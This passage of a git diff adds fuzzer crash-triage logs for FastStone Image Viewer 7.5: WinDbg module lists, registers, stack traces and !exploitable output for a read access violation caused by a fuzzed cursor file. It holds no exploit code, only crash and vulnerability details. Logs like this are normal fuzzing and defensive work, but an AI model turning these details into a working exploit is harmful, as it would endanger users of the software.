00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e70000 00000000`13f4e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1efc.480): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=00000e1e ecx=07e78180 edx=000005a6 esi=1282b730 edi=0c3bcfd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.483113948083064080000e+0017 st5= 8.483136281913003520000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 07f7bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 07f7bec0 922dabff 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 07f7bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..289c353 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..63ad63b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f60002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2f76535 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..47644a2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x878: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x878: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(878.440): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14ff0002 ebx=00000e1e ecx=07ef8180 edx=000005a6 esi=12830260 edi=0da8afd4 +eip=005bdfc9 esp=14fef868 ebp=14fefd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.500026498502561040000e+0017 st5= 8.500028216489479680000e+0017 +st6= 8.500029934476398320000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14ff0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14fefd10 0060d6fc 00000000 14fefd78 14fefd48 image00000000_00400000+0x1bdfc9 +14fefd88 005ff93f 14fefde8 005ffbc2 14fefde0 image00000000_00400000+0x20d6fc +14fefde0 0090e28b 14fefdf4 0090e3b5 14fefe38 image00000000_00400000+0x1ff93f +14fefe38 0090efea 14fefea4 14fefea8 14fefeac image00000000_00400000+0x50e28b +14fefec0 008d05d5 14fefed4 008d06ab 14feff00 image00000000_00400000+0x50efea +14feff00 008d0991 14feff14 008d0a43 14feff2c image00000000_00400000+0x4d05d5 +14feff2c 0042c0bf 14feff40 0042c0c9 14feff5c image00000000_00400000+0x4d0991 +14feff5c 00404c22 14feffcc 0040475c 14feff70 image00000000_00400000+0x2c0bf +14feff70 7572f989 07ffbec0 7572f970 14feffdc image00000000_00400000+0x4c22 +14feff80 770b7084 07ffbec0 e0dbe6aa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14feffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14feffec 00000000 00404bf8 07ffbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14ff0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..47644a2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/15660/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x878: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x878: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 